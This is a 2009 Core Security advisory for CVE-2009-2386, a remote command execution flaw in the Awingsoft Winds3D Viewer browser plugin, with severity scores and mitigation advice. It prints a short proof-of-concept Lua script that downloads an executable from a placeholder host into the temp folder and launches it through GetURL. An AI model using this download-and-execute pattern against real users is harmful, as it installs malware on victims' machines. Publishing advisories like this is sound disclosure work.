9.3 High
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:M/Au:N/C:C/I:C/A:C
0.015 Low
EPSS
Percentile
87.0%
**Title:**Awingsoft Awakening Winds3D Viewer remote command execution vulnerability
**Advisory ID:**CORE-2009-0519
**Advisory URL:**http://www.coresecurity.com/content/winds3d-viewer-advisory
**Date published:**2009-07-08
**Date of last update:**2009-07-08
**Vendors contacted:**Awingsoft
**Release mode:**User release
**Class:**Remote command execution
**Remotely Exploitable:**Yes (client side)
**Locally Exploitable:**No
Bugtraq ID:35595
CVE Name:CVE-2009-2386
Awingsoftβs Awakening is a rapid application authoring tool for efficiently creating interactive 3D content. With this tool, you can easily create interactive 3D presentations, animated 3D webs, brief films or games.
Awakeningβs Winds3D Viewer [1], which runs as a plugin within most popular web browsers, is vulnerable to a remotely exploitable arbitrary command execution vulnerability which can be triggered by making the user visit a malicious link/website.
The vendor did not provide fixes or workaround information. A possible mitigation action would be to enable MIME type filtering in your IDS/proxies and block Winds3D traffic: application/x-awingsoft-winds3d
As a workaround, vulnerable users can also avoid this flaw by disabling the Winds3D Plugin in their web browsers:
Please contact Awingsoft for further information, patches and workarounds.
This vulnerability was discovered and researched by Diego Juarez from Core Security Technologies.
The vulnerability comes from the way the scripting interface exposes filesystem access and in particular the way it implements the GetURL method:
GetURL(string URL) Description: Open browser to visit assigned URL returns: None
In the current implementation, calling GetURL will ultimately execute the equivalent of calling ShellExecute(NULL, "open", URL, 0, 0, SW_SHOW);
. Note that the attacker only controls the file to open (execute), but not the command line parameters.
This, however, coupled with the scripting interfaceβs ability to download arbitrary files to arbitrary paths constitutes a remotely exploitable arbitrary code execution vulnerability which can be triggered by making the user visit a malicious link/website.
The following script demonstrates the vulnerability. It downloads a malicious binary file to the victim machine and then executes it.
-- download require 'scripts\\websession' require 'scripts\\webfile' -- evil file to download local szURL='http://somesite/exploit.exe' -- setup download evil file from the web ses=websession.new() file=ses.openURL(szURL) local destfilename=GetTempFileName() -- we always want to download to the %TEMP% directory (write access = sure thing) destfilename=string.gsub(destfilename, ".tmp", ".exe") -- rename to something shellexecute will launch file.setDestFile(destfilename) local filesize=file.seek(0,FILE_END) file.seek(0,FILE_BEGIN) local bytescount=0 local readbytes=file.read() while (readbytes>0) do bytescount=bytescount + readbytes readbytes=file.read() end -- close the descriptors file.release() ses.release() -- execute GetURL(destfilename)
[1] Awingsoftβs Awakening viewer (AKA Winds3D viewer)
<http://www.awingsoft.com/web3d/web3d.htm>
CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://www.coresecurity.com/corelabs.
Core Security Technologies develops strategic solutions that help security-conscious organizations worldwide develop and maintain a proactive process for securing their networks. The companyβs flagship product, CORE IMPACT, is the most comprehensive product for performing enterprise security assurance testing. CORE IMPACT evaluates network, endpoint and end-user vulnerabilities and identifies what resources are exposed. It enables organizations to determine if current security investments are detecting and preventing attacks. Core Security Technologies augments its leading technology solution with world-class security consulting services, including penetration testing and software security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core Security Technologies can be reached at 617-399-6980 or on the Web at http://www.coresecurity.com.
The contents of this advisory are copyright Β© 2009 Core Security Technologies and Β© 2009 CoreLabs, and may be distributed freely provided that no fee is charged for this distribution and proper credit is given.
This advisory has been signed with the GPG key of Core Security Technologies advisories team.